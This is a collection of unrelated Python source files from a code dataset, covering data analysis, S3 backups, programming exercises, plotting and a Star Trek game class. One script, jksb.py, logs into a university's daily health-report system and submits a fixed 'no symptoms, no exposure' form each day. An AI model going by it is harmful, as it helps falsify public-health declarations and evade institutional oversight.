+{"seq_id":"134765852","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 29 09:50 2017\n\n@author: andrewalferman\n\"\"\"\n\nimport os as os\nimport numpy as np\nimport pyjacob as pyjacob\nimport matplotlib.pyplot as plt\n# import scipy as sci\n\n\ndef loadpasrdata(num):\n    \"\"\"Load the initial conditions from the PaSR files.\"\"\"\n    pasrarrays = []\n    print('Loading data...')\n    for i in range(num):\n        filepath = os.path.join(os.getcwd(),\n                                'pasr_out_h2-co_' +\n                                str(i) +\n                                '.npy')\n        filearray = np.load(filepath)\n        pasrarrays.append(filearray)\n    return np.concatenate(pasrarrays, 1)\n\n\ndef rearrangepasr(Y, useN2):\n    \"\"\"Rearrange the PaSR data so it works with pyJac.\"\"\"\n    press_pos = 2\n    temp_pos = 1\n    arraylen = len(Y)\n\n    Y_press = Y[press_pos]\n    Y_temp = Y[temp_pos]\n    Y_species = Y[3:arraylen]\n    Ys = np.hstack((Y_temp, Y_species))\n\n    # Put N2 to the last value of the mass species\n    N2_pos = 9\n    newarlen = len(Ys)\n    Y_N2 = Ys[N2_pos]\n    # Y_x = Ys[newarlen - 1]\n    for i in range(N2_pos, newarlen - 1):\n        Ys[i] = Ys[i + 1]\n    Ys[newarlen - 1] = Y_N2\n    if useN2:\n        initcond = Ys\n    else:\n        initcond = Ys[:-1]\n    return initcond, Y_press\n\n\n# Load the initial conditions from the PaSR files\npasr = loadpasrdata(1)\nnumparticles = len(pasr[0, :, 0])\nnumtsteps = len(pasr[:, 0, 0])\n\nfor i in pasr[469, 91, :]:\n    print(i)\n\n\n\n# # All of the species names, after the data has been rearranged\n# speciesnames = ['H', 'H$_2$', 'O', 'OH', 'H$_2$O', 'O$_2$', 'HO$_2$',\n#                 'H$_2$O$_2$', 'Ar', 'He', 'CO', 'CO$_2$', 'N$_2$']\n# # Keep in mind that the states also have temperature data\n#\n# states = np.empty((14, numtsteps*numparticles))\n#\n# # Rearrange all of the particles so that histograms can be made\n# count = 0\n# for i in range(numparticles):\n#     for j in range(numtsteps):\n#         particle, press = rearrangepasr(pasr[j, i, :], True)\n#         for k in range(len(particle)):\n#             states[k, count] = particle[k]\n#         count += 1\n#\n# # Clear all previous figures and close them all\n# for i in range(15):\n#     plt.figure(i)\n#     plt.clf()\n# plt.close('all')\n#\n# # Make the histograms and plots\n# print('Plotting...')\n# for i in range(7):\n#     plt.figure(i)\n#     if i == 0:\n#         title = 'Temperature'\n#     else:\n#         title = speciesnames[i-1]\n#     print(title)\n#     plt.hist(states[i, :100100], bins='auto')\n#     plt.title(title)\n#\n# plt.show()\n","sub_path":"H2_CO/PaSR_Histogram.py","file_name":"PaSR_Histogram.py","file_ext":"py","file_size_in_byte":2537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"528958179","text":"import os\nfrom datetime import datetime\n\n# 3rd Party Imports\nimport boto\nfrom boto.s3.key import Key\nfrom click import echo\n\nfrom .utils import temp_directory, zipdir\nfrom .local import local_restore\nfrom .mongo import dump_db\n\n\ndef get_s3_bucket(s3_settings):\n    conn = boto.connect_s3(s3_settings['aws_access_key_id'], s3_settings['aws_secret_access_key'])\n    bucket = conn.get_bucket(s3_settings['bucket_name'])\n    return bucket\n\n\ndef generate_uniqueish_key(s3_settings, environment, name_prefix):\n    bucket = get_s3_bucket(s3_settings)\n\n    if name_prefix and name_prefix != '':\n        name_base = name_prefix\n    else:\n        name_base = environment['db_name']\n\n    name_attempt = \"{}__{}.dmp.zip\".format(name_base, datetime.utcnow().strftime(\"%Y_%m_%d\"))\n\n    key = bucket.get_key(name_attempt)\n\n    if not key:\n        key = Key(bucket)\n        key.key = name_attempt\n        return key\n    else:\n        counter = 1\n        while True:\n            counter += 1\n            name_attempt = \"{}__{}_{}.dmp.zip\".format(name_base,\n                                          datetime.utcnow().strftime(\"%Y_%m_%d\"), counter)\n\n            if bucket.get_key(name_attempt):\n                continue\n            else:\n                key = Key(bucket)\n                key.key = name_attempt\n                return key\n\n\ndef backup_to_s3(environment, s3_settings, name, query_set_class):\n\n    dump_path = dump_db(environment, QuerySet=query_set_class)\n    zipf = zipdir(dump_path)\n\n    key = generate_uniqueish_key(s3_settings, environment, name)\n\n    bytes_written = key.set_contents_from_filename(zipf.filename)\n\n    # 4) print out the name of the bucket\n    echo(\"Wrote {} bytes to s3\".format(bytes_written))\n\n\ndef s3_restore(key, to_enviornment):\n\n    with temp_directory() as temp_dir:\n        zip_path = os.path.join(temp_dir, 'MongoDump.zip')\n        key.get_contents_to_filename(zip_path)\n        local_restore(zip_path, to_enviornment)\n\n\ndef s3_backups(s3_config):\n    \"\"\" a dict of key.name: key\n    \"\"\"\n    bucket = get_s3_bucket(s3_config)\n\n    buckets = {}\n    for key in bucket.get_all_keys():\n        buckets[key.name] = key\n\n    return buckets\n","sub_path":"monarch/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"194333164","text":"import random as rd\nimport copy\n\n########### création ou chargement des tableaux #################\n\n\ndef creer_tableau(n):\n    \"\"\" créer une liste de liste de taille nxn \"\"\"\n    L = [[]for i in range(n-1)]\n    L.append([0 for i in range(n-1)])\n    L.append([\"*\" for i in range(n+1)])\n    L.append([0 for i in range(n)])\n    for i in range(n+2):\n        if i != n and i != n+1:\n            if i == 0:\n                L[i].extend([0 for i in range(n-1)])\n            elif 1 <= i <= n-2:\n                L[i].append(0)\n                L[i].extend([rd.randint(5, 9) for i in range(n-2)])\n            L[i].extend([0, \"*\", 0])\n    L_final = somme(L)\n    return L_final\n\n\ndef creer_tableau_2():\n    choix = input(\"taper 'nouveau' si vous souhaitez charger un nouveau tableau et taper 'charger' sinon : \")\n    if choix == \"charger\":\n        nom_fichier = input(\"entrer le nom du fichier (ne pas oublier .txt) : \")\n        chargement = open(nom_fichier, \"r\")\n        list_chargement = [(line.strip()).split() for line in chargement]\n        chargement.close()\n        afficher_tableau(list_chargement)\n    elif choix == \"nouveau\":\n        n = input(\"entrer la taille du tableau (un entier) : \")\n        tableau = creer_tableau(int(n))\n        afficher_tableau(tableau)\n\n\ndef somme(tab):\n    for k in range(len(tab)-2):\n        for i in range(len(tab)-2):\n            tab[len(tab)-1][k] += tab[i][k]\n            tab[k][len(tab)-1] += tab[k][i]\n    return tab\n\n\n######### afficher sous forme de tableau ############################\n\n\ndef afficher_tableau(tab):\n    \"\"\" affiche la liste de liste sous la forme d'un tableau \"\"\"\n    for elem in tab:\n        for i in range(len(elem)):\n            if i != len(elem)-1:\n                if (isinstance(elem[i], int)) and (elem[1] >= 10):\n                    print(elem[i], end=\"  \")\n                else:\n                    print(elem[i], end=\"   \")\n            else:\n                print(elem[i])\n\n\n########## automate des tas de sable version sequentiel ##############\n\n\ndef etape_sequentiel(tab):\n    changement = True\n    tab_modif = copy.deepcopy(tab)\n\n    tab_modif[len(tab)-1].clear()\n    tab_modif[len(tab)-1] = [0 for i in range(len(tab)-2)]\n    for i in range(len(tab)-3):\n        tab_modif[i][len(tab)-1] = 0\n\n    for i in range(1, len(tab)-3):\n        for k in range(1, len(tab)-3):\n            if tab_modif[i][k] >= 4:\n                tab_modif[i][k] = tab[i][k] - 4\n                tab_modif[i][k-1] += 1\n                tab_modif[i][k+1] += 1\n                tab_modif[i+1][k] += 1\n                tab_modif[i-1][k] += 1\n\n                changement = True\n                return [tab_modif, changement]\n    return [tab, False]\n\n\ndef automate_sequentiel(tab):\n    res = etape_sequentiel(tab)\n    while res[1]:\n        res = etape_sequentiel(res[0])\n    res_vrai = somme(res[0])\n    return res_vrai\n\n\n####### automate des tas de sable version parallele ##########################\n\n\ndef etape_parallele(tab):\n    changement = False\n    tab_modif = copy.deepcopy(tab)\n\n    tab_modif[len(tab)-1].clear()\n    tab_modif[len(tab)-1] = [0 for i in range(len(tab)-2)]\n    for i in range(len(tab)-3):\n        tab_modif[i][len(tab)-1] = 0\n\n    for i in range(1, len(tab)-3):\n        for k in range(1, len(tab)-3):\n            if tab_modif[i][k] >= 4:      \n                tab_modif[i][k] = tab_modif[i][k] - 4\n                tab_modif[i][k-1] += 1\n                tab_modif[i][k+1] += 1\n                tab_modif[i+1][k] += 1\n                tab_modif[i-1][k] += 1\n\n                changement = True\n    if changement:\n        return [tab_modif, changement]\n    else:\n        return [tab, changement]\n\ndef automate_parallele1(tab):\n    nom_fichier = input(\"entrer le nom du fichier (ne pas oublier .txt) \")\n    res = etape_parallele(tab)\n    while res[1]:\n        res = etape_parallele(res[0])\n    res_vrai = somme(res[0])\n    Fichier = open(nom_fichier, 'w')\n    for elem in res_vrai:\n        txt = ' '.join([str(i) for i in elem])\n        Fichier.write(txt + '\\n')\n    Fichier.close()\n    return res[0]\n\n\ndef automate_parallele(tab):\n    res = etape_parallele(tab)\n    while res[1]:\n        res = etape_parallele(res[0])\n    res_vrai = somme(res[0])\n    return res_vrai\n\n\n############# commandes tests ###################\n\ntest = creer_tableau(4)\nafficher_tableau(test)\nprint(\"------------\")\ntest_para = automate_parallele(test)\nafficher_tableau(test_para)\nprint(\"--------------\")\ntest_seq = automate_sequentiel(test)\nafficher_tableau(test_seq)\n","sub_path":"exercises/in200 exercices/feuille_exos_3_bis.py","file_name":"feuille_exos_3_bis.py","file_ext":"py","file_size_in_byte":4489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"332125791","text":"def solution(arr, m):\n    ptr = -1\n    while len(arr) > 1:\n        for i in range(m):\n            ptr += 1\n            if ptr >= len(arr):  # reach end\n                ptr = 0\n\n        p_num = arr.pop(ptr)\n        print(p_num, arr)\n        ptr = ptr - 1\n\n    return arr[ptr]\n\n\nprint(solution(list(range(10)), 3))\n","sub_path":"solutions/array/62_Last_Digit_in_Circle.py","file_name":"62_Last_Digit_in_Circle.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"608225837","text":"import logging\nimport os\n\nfrom clowder.tomcat import ConfigurationException,\\\n                           NotAnInstance\nfrom clowder.tomcat import Instance\n\nclass Finder(object):\n    def __init__(self, root=\"/opt/evive/apps/\"): #root=\"/opt/clowder\"):\n        self._root = root\n        self.logger = logging.getLogger(\"AppFinder\")\n\n    def all(self):\n        basenames = [x for x in os.listdir(self._root)\n                        if os.path.isdir(os.path.join(self._root, x))]\n        app_instances = filter(lambda x: len(x) == 2, [tuple(x.split(\".\")) for x in basenames])\n        apps = {}\n        for base in app_instances:\n            try:\n                app = Instance(name=base[0], instance=base[1], root=self._root)\n                apps[base] = app\n            except (NotAnInstance,ConfigurationException) as e:\n                self.logger.info(\"{message}\".format(message=e.message))\n        return apps\n\n    def find(self, name, instance=None):\n        if instance:\n            return {k:v for k,v in self.all().items() if k == (name, instance)}\n        else:\n            return {k:v for k,v in self.all().items() if k[0] == name}\n","sub_path":"clowder/tomcat/finder.py","file_name":"finder.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"210190451","text":"import unittest\nfrom datetime import date\n\n\nfrom domain.research.factories.research_daily_journal_factory import ResearchDailyJournalFactory\nfrom domain.research.factories.research_factory import GynecologicResearchFactory\nfrom domain.research.repositories.research_daily_journal_repository import ResearchDailyJournalRepository\nfrom usecases.new_research_usecase import NewResearchUseCase\nfrom usecases.utils import ResearchData\n\n\njournal_factory = ResearchDailyJournalFactory()\njournal_repository = ResearchDailyJournalRepository()\ntoday = date(2016, 5, 1)\nresearch_factory = GynecologicResearchFactory()\n\n\nclass TestSaveResearch(unittest.TestCase):\n\n    def setUp(self):\n        journal = journal_factory.journal(today)\n        journal_repository.add_journal(journal)\n\n    def test(self):\n        expected = research_factory.new_research()\n        expected.mark_cell_smear_adequate()\n        research_data = ResearchData(\n            cell_smear_quality='adequate',\n            cell_smear_type='',\n            epithelium_surface='',\n            epithelium_basal='',\n            epithelium_cylindrical='',\n            leukocytes='',\n            description=''\n        )\n        journal = journal_repository.find_journal_by_date(today)\n        use_case = NewResearchUseCase(journal)\n        use_case.execute(research_data)\n\n        result = journal.find_by_index(0)\n\n        self.assertEqual(expected, result)\n","sub_path":"source/test/test_usecase/test_save_research.py","file_name":"test_save_research.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"103921668","text":"if __name__ == '__main__':\n    import argparse\n    parser = argparse.ArgumentParser(prog='merge_bxcan.py', description='''\n        Merge BrainXcan results from dMRI and T1.\n    ''')\n    parser.add_argument('--dmri', help='''\n        Input S-BrainXcan result for dMRI IDPs.\n    ''')\n    parser.add_argument('--t1', help='''\n        Input S-BrainXcan result for T1 IDPs.\n    ''')\n    parser.add_argument('--idp_meta_file', help='''\n        A meta file for annotating IDPs.\n    ''')\n    parser.add_argument('--output', help='''\n        Output table.\n    ''')\n    args = parser.parse_args()\n    \n    import logging, time, sys, os\n    # configing util\n    logging.basicConfig(\n        level = logging.INFO, \n        stream = sys.stderr, \n        format = '%(asctime)s  %(message)s',\n        datefmt = '%Y-%m-%d %I:%M:%S %p'\n    )\n    import pandas as pd\n\n    logging.info('Loading S-BrainXcan dMRI.')\n    df1 = pd.read_csv(args.dmri)\n    df1['modality'] = 'dMRI'\n    logging.info('{} IDPs in total.'.format(df1.shape[0]))\n    \n    logging.info('Loading S-BrainXcan T1.')\n    df2 = pd.read_csv(args.t1)\n    df2['modality'] = 'T1'\n    logging.info('{} IDPs in total.'.format(df2.shape[0]))\n    \n    logging.info('Loading the IDP meta file.')\n    meta = pd.read_csv(args.idp_meta_file)\n    \n    logging.info('Saving outputs.')\n    df = pd.concat([df1, df2], axis=0)\n    df = pd.merge(df, meta.drop(columns=['t1_or_dmri', 'ukb_link']), on='IDP', how='left')\n    df.fillna('NA', inplace=True)\n    df.sort_values(by='pval').to_csv(args.output, index=False)\n    \n    logging.info('Done.')\n","sub_path":"brainxcan/snmk/merge_bxcan.py","file_name":"merge_bxcan.py","file_ext":"py","file_size_in_byte":1577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"512123369","text":"def solution(weights, head2head):\n    \n    #인원수 n, 리스트 result, answer 선언\n    n= len(weights)\n    result,answer=[],[]\n    \n    #인원수 만큼 반복\n    for i in range (n):    \n        #선수마다 이긴 횟수, 진 횟수 카운트\n        win= head2head[i].count('W')\n        lose= head2head[i].count('L')\n        \n        #조건2) 자신보다 무거운 복서를 이긴 횟수 변수 선언\n        heavy_win= 0\n        \n        #win+lose가 0이면 모두 'N'인경우=> 승률 0으로 처리\n        if (win+lose) == 0: \n            win_rate= 0     \n        else:\n            #승률 계산\n            win_rate= win / (win+lose)\n        \n        for j in range(n):\n            #자기 자신과 싸운 경우인 인덱스는 제외\n            if i == j: \n                continue\n            #이기고 + 자신보다 몸무게가 무거운 복서인 경우 체크\n            if head2head[i][j]=='W' and weights[i] < weights[j]:\n                heavy_win += 1\n        \n        #승률, 무거운 선수 이긴 횟수, 몸무게, 선수 번호 순으로 result에 저장\n        result.append([-win_rate, -heavy_win, -weights[i],i+1])\n    \n    #정렬 후 순서대로 선수번호만 answer에 저장해 반환\n    result.sort()\n    answer = [x[-1] for x in result]\n    return answer","sub_path":"6week/6week_kyk.py","file_name":"6week_kyk.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"409589674","text":"import pandas as pd\nimport plotly.offline as pyo\nimport plotly.graph_objs as go\n\n# Load CSSV file from Datasets folder\ndf = pd.read_csv('../Datasets/Weather2014-15.csv')\n\n# Extrapolating the actual max temp per month\nnew_df = df.groupby('month', sort=False).agg(\n    {'actual_max_temp': 'max'}).reset_index()\n\n# Preparing data\ndata = [go.Scatter(x=new_df['month'], y=new_df['actual_max_temp'], mode='lines',\n                   name='Record Max Temperature')]\n\n# Preparing layout\nlayout = go.Layout(title='The Actual Max Temperature of Each Month From 2014 To 2015',\n                   xaxis_title=\"Month\", yaxis_title=\"Temperature (F)\")\n\n# Plot the figure and saving in a html file\nfig = go.Figure(data=data, layout=layout)\npyo.plot(fig, filename='WeatherLineChart.html')","sub_path":"Plots/WeatherLineChart.py","file_name":"WeatherLineChart.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"122842692","text":"import os\nimport logging\nimport hydra\nfrom solver import main\nfrom omegaconf import OmegaConf, DictConfig\n\nlog = logging.getLogger(__name__)\n\n@hydra.main(config_path=\"conf\", config_name=\"default.yaml\")\ndef run_experiment(cfg: DictConfig) -> None:\n    # print(OmegaConf.to_yaml(cfg))\n    \n    # read params\n    p = cfg.solver.penalty\n    nV = cfg.solver.num_vehicle\n    num_fss = cfg.solver.first_solution_strategy.num_fss\n    \n    ds, td, tl = main(p, nV, num_fss)\n    print(\"Dropped nodes  :\", ds)\n    print(\"Total distance :\", td)\n    print(\"Total load     :\", tl)\n\n    log.info(\"Dropped nodes  :{}\".format(ds))\n    log.info(\"Total distance :{}\".format(td))\n    log.info(\"Total load     :{}\".format(tl))\n\nif __name__ == '__main__':\n    run_experiment()","sub_path":"h_experiment.py","file_name":"h_experiment.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"430858855","text":"import re\nimport requests\nimport json #用于读取账号信息\nimport time #用于计时重新发送requests请求\nimport base64 #用于解密编码\nimport logging #用于日志控制\nimport os,sys\nfrom lxml import etree # 可以利用Xpath进行文本解析的库\n# 发送邮件的库\nimport smtplib\nfrom email.mime.text import MIMEText\n\n#账号 密码等信息 Actions部署\nid = os.environ[\"id\"]\npwd = os.environ[\"pwd\"]\n# 邮箱信息\nMAIL_USER = os.environ[\"MAIL_USER\"] #QQ邮箱账户\nMAIL_PWD = os.environ[\"MAIL_PWD\"]   #QQ邮箱授权码\nMAIL_TO = os.environ[\"MAIL_TO\"]     #QQ邮箱账户\n\n# 本地运行就直接填上相应信息，所有信息需要被双引号\"\"包裹\n# id = \"学号\"\n# pwd = \"密码\"\n# MAIL_USER = \"QQ邮箱账户\"\n# # 这里是授权码--不是账户密码\n# MAIL_PWD = \"邮箱授权码\"\n# MAIL_TO = \"QQ邮箱账户\"\n#账号和密码需要被双引号\"\"包裹\n#   eg:\n#       id = \"学号\"\n#       pwd = \"密码\"\n\ndef sign_in(id, pwd):\n\n    curr_dir = os.path.dirname(os.path.abspath(__file__))\n    r=\"\"\n\n    #set logging format\n    LOG_FORMAT = \"%(asctime)s - %(levelname)s - %(message)s\"\n    DATE_FORMAT = \"%m/%d/%Y %H:%M:%S %p\"\n    #create a log file at the work directory\n\n    # 日志文件my.log会保存在该python文件所在目录当中\n    logging.basicConfig(filename=curr_dir+'/my.log', level=logging.INFO, format=LOG_FORMAT, datefmt=DATE_FORMAT)\n\n    logging.info(\"===开始打卡===\")\n\n    #login\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0',\n        'referer':'https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/first0?fun2=a',\n        'Content-Type':'application/x-www-form-urlencoded'\n    }\n    form={\n        \"uid\": id,\n        \"upw\": pwd,\n        \"smbtn\": \"进入健康状况上报平台\",\n        \"hh28\": \"750\"  #按照当前浏览器窗口大小计算\n    }\n    r = \"\"\n    max_punch = 10\n    curr_punch = 0 #if curr_punch > max_pubch then exit\n    logging.info(\"准备进入打卡界面\")\n    while True:\n        try:\n            logging.info(\"准备进入post请求\")\n            r= requests.post(\"https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/login\",headers=headers,data=form,timeout=(200,200)) #response为账号密码对应的ptopid和sid信息,timeout=60(sec)\n            logging.info(\"成功运行post请求\")\n        except:\n            logging.warning(\"请检查网络链接是否正常\")\n            curr_punch+=1\n            if curr_punch>max_punch:\n                exit()\n            time.sleep(120)     #sleep 60 sec\n        else:\n            break\n    text = r.text.encode(r.encoding).decode(r.apparent_encoding) #解决乱码问题\n    r.close()\n    del(r)\n    #first6\n    matchObj = re.search(r'ptopid=(\\w+)\\&sid=(\\w+)\\\"',text)\n    try:\n        ptopid = matchObj.group(1)\n        sid = matchObj.group(2)\n    except:\n        logging.warning(\"请检查账号\"+id+\"和密码\"+pwd+\"是否正确，或检查是否有验证码\")\n        exit()\n    else:\n        logging.info(\"账号密码正确\")\n    headers= {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0',\n        'referer':'https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/login'\n    }\n    curr_punch=0\n    while True:\n        try:\n            r = requests.get(\"https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/jksb?ptopid=\"+ptopid+\"&sid=\"+sid+\"&fun2=\") #response里含有jksb对应的params\n        except:\n            logging.error(\"get请求失败\")\n            if curr_punch>max_punch:\n                exit()\n            curr_punch+=1\n            time.sleep(120)\n        else:\n            break\n    text = r.text.encode(r.encoding).decode(r.apparent_encoding) #解决乱码问题\n    tree=etree.HTML(text)\n    nodes = tree.xpath('//*[@id=\"bak_0\"]/div[7]/span')\n    # 如果今日填报过就退出填报，直接返回msg\n    if nodes[0].text == \"今日您已经填报过了\":\n        return nodes[0].text\n    r.close()\n    del(r)\n    #jksb?with_params\n    matchObj = re.search(r'ptopid=(\\w+)\\&sid=(\\w+)\\&',text)\n    ptopid = matchObj.group(1)\n    sid = matchObj.group(2)\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0',\n        'referer':'https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/login'\n    }\n    curr_punch=0\n    while True:\n        try:\n            r = requests.get(\"https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/jksb?ptopid=\"+ptopid+\"&sid=\"+sid+\"&fun2=\",headers=headers) #response为jksb表单第一页\n        except:\n            logging.info(\"第二次get请求失败\")\n            while curr_punch>max_punch:\n                exit()\n            curr_punch+=1\n            time.sleep(120)\n        else:\n            break\n    ptopid1 = ptopid\n    sid1 = sid\n\n    text = r.text.encode(r.encoding).decode(r.apparent_encoding) #解决乱码问题\n    r.close()\n    del(r)\n    #DONE\n    matchObj = re.search(r'name=\\\"ptopid\\\" value=\\\"(\\w+)\\\".+name=\\\"sid\\\" value=\\\"(\\w+)\\\".+',text)\n    ptopid = matchObj.group(1)\n    sid = matchObj.group(2)\n    form = {\n        \"day6\": \"b\",\n        \"did\": \"1\",\n        \"door\": \"\",\n        \"men6\": \"a\",\n        \"ptopid\": ptopid,\n        \"sid\": sid\n    }\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0',\n        'Referer': 'https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/jksb?ptopid='+ptopid1+'&sid='+sid1+'&fun2=',\n        'Content-Type':'application/x-www-form-urlencoded'\n    }\n    while True:\n        try:\n            r = requests.post(\"https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/jksb\",headers=headers,data=form) #response为打卡的第二个表单\n        except:\n            while curr_punch>max_punch:\n                exit()\n            curr_punch+=1\n        else:\n            break\n    text = r.text.encode(r.encoding).decode(r.apparent_encoding) #解决乱码问题\n    r.close()\n    del(r)\n    #DONE\n    matchObj = re.search(r'name=\\\"ptopid\\\" value=\\\"(\\w+)\\\".+name=\\\"sid\\\" value=\\\"(\\w+)\\\"',text)\n    ptopid = matchObj.group(1)\n    sid = matchObj.group(2)\n    form = {\n        \"myvs_1\": \"否\",\n        \"myvs_2\": \"否\",\n        \"myvs_3\": \"否\",\n        \"myvs_4\": \"否\",\n        \"myvs_5\": \"否\",\n        \"myvs_6\": \"否\",\n        \"myvs_7\": \"否\",\n        \"myvs_8\": \"否\",\n        \"myvs_9\": \"否\",\n        \"myvs_10\": \"否\",\n        \"myvs_11\": \"否\",\n        \"myvs_12\": \"否\",\n        \"myvs_13\": \"g\",\n        \"myvs_13a\": \"41\",\n        \"myvs_13b\": \"4101\",\n        \"myvs_13c\": \"河南省.郑州市.金水区\",\n        \"myvs_24\": \"否\",\n        \"myvs_26\": \"2\",\n        \"myvs_14b\": \"\",     #该选项已弃用\n        \"memo22\": \"[待定]\",\n        \"did\": \"2\",\n        \"door\": \"\",\n        \"day6\": \"b\",\n        \"men6\": \"a\",\n        \"sheng6\": \"\",\n        \"shi6\": \"\",\n        \"fun3\": \"\",\n        \"jingdu\": \"113.64\",\n        \"weidu\": \"34.71\",\n        \"ptopid\": ptopid,\n        \"sid\": sid\n    }\n    headers = {\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0',\n        'Referer':'https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/jksb',\n        'Content-Type':'application/x-www-form-urlencoded'\n    }\n    while True:\n        try:\n            r = requests.post(\"https://jksb.v.zzu.edu.cn/vls6sss/zzujksb.dll/jksb\",data=form,headers=headers) #response为完成打卡页面\n        except:\n            while curr_punch>max_punch:\n                exit()\n            curr_punch+=1\n        else:\n            break\n    text = r.text.encode(r.encoding).decode(r.apparent_encoding) #解决乱码问题\n    r.close()\n    del(r)\n    # 对text文件进行解析\n    tree=etree.HTML(text)\n    # print(type(tree))\n    nodes = tree.xpath('//*[@id=\"bak_0\"]/div[2]/div[2]/div[2]/div[2]')\n    for _ in nodes:\n        msg = _.text\n    if(\"感谢你今日上报健康状况！\" in msg):\n        logging.info(id+\":打卡成功\")\n        print(id+\":打卡成功\")\n        \n    else:\n        logging.info(id+\":打卡失败\")\n        print(id+\":打卡失败\")\n        \n    return msg\n\n\n\n# 发送邮件的函数\ndef mail(mail_text, mail_to):\n    # set the mail context\n    msg = MIMEText(mail_text)\n\n    # set the mail info\n    msg['Subject'] = \"每日健康打卡通知\" #主题\n    msg['From'] = MAIL_USER\n    msg['To'] = mail_to\n\n    # send the mail\n    # 发送到QQ邮箱\n    send = smtplib.SMTP_SSL(\"smtp.qq.com\", 465)\n    send.login(MAIL_USER, MAIL_PWD)\n    send.send_message(msg)\n    # quit QQ EMail\n    send.quit()\n\nif __name__ == '__main__':\n    msg = sign_in(id=id, pwd=pwd)\n    mail(msg,MAIL_TO)\n\n","sub_path":"jksb.py","file_name":"jksb.py","file_ext":"py","file_size_in_byte":8550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"463085884","text":"class WarpDest():\n    ''' Warp Speed: \n    One's based GALAXY navigation.\n    Guaranteed SAFE placement.\n    '''\n    def __init__(self, sector=-1, warp=0):\n        if sector > 64: sector = 64 # zOuter Limits =)\n        if warp > 10: warp = 10\n        if warp < 0:  warp = 0\n        self.warp = warp\n        self.sector = sector\n\n    @staticmethod\n    def parse(dest, sep=','):\n        '''\n        Parse: sector-num, speed-float - None on error\n        Example: 5,1.1 \n        '''\n        dest = str(dest)\n        cols = dest.split(sep)\n        if len(cols) == 2:\n            try:\n                sector = int(cols[0].strip())\n                if sector < 1:\n                    sector = 1\n                speed = float(cols[1].strip())\n                if speed < 0: speed = 0.1\n                if speed > 9: speed = 9.0\n                return WarpDest(sector, speed)\n            except:\n                pass\n        return None\n\n\nclass SubDest():\n    ''' Sublight Navigation:\n    Zero based, AREA placement.\n    Caveat, User! ;-)\n    '''\n    def __init__(self, xpos=-1, ypos=-1):\n        if xpos > 7:  xpos = 7\n        if ypos > 7:  ypos = 7\n        if xpos < 0:  xpos = 0\n        if ypos < 0:  ypos = 0\n        self.xpos = xpos\n        self.ypos = ypos\n\n    @staticmethod\n    def parse(dest, sep=','):\n        '''\n        WARNING: USER 1's -> 0-BASED TRANSLATION HERE\n\n        Parse: [a-h], ypos \n                or \n                #,#  \n           Return None on error\n        Example: b,5 \n        '''\n        dest = str(dest)\n        cols = dest.split(sep)\n        if len(cols) == 2:\n            try:\n                alph = cols[0].strip().lower()[0]\n                num = 0\n                if alph.isalpha():\n                    num = ord(alph) - 96 # 'a' == 1\n                else:\n                    num = int(alph)\n                xpos = num\n                ypos = int(cols[1].strip()[0])\n                return SubDest(xpos-1, ypos-1)\n            except:\n                pass\n        return None\n\n\nclass Dest(WarpDest, SubDest):\n\n    def __init__(self):\n        WarpDest.__init__(self)\n        SubDest.__init__(self)\n\n    def is_null(self):\n        return self.xpos == 0 and \\\n            self.sector == -1\n\n    def clone(self):\n        result = Dest()\n        result.xpos = self.xpos\n        result.ypos = self.ypos\n        result.sector = self.sector\n        result.warp = self.warp\n        return result\n\n\nif __name__ == '__main__':\n    test = Dest()\n    assert(test.is_null() == True)\n    test.xpos = test.ypos = 123\n    test.sector = 22\n    test.warp = 22\n    assert(test.is_null() == False)\n    clone = test.clone()\n    assert(clone.sector == test.sector)\n    assert(clone.warp == test.warp)\n    assert(clone.xpos == test.xpos)\n    assert(clone.ypos == test.ypos)\n\n","sub_path":"Points.py","file_name":"Points.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
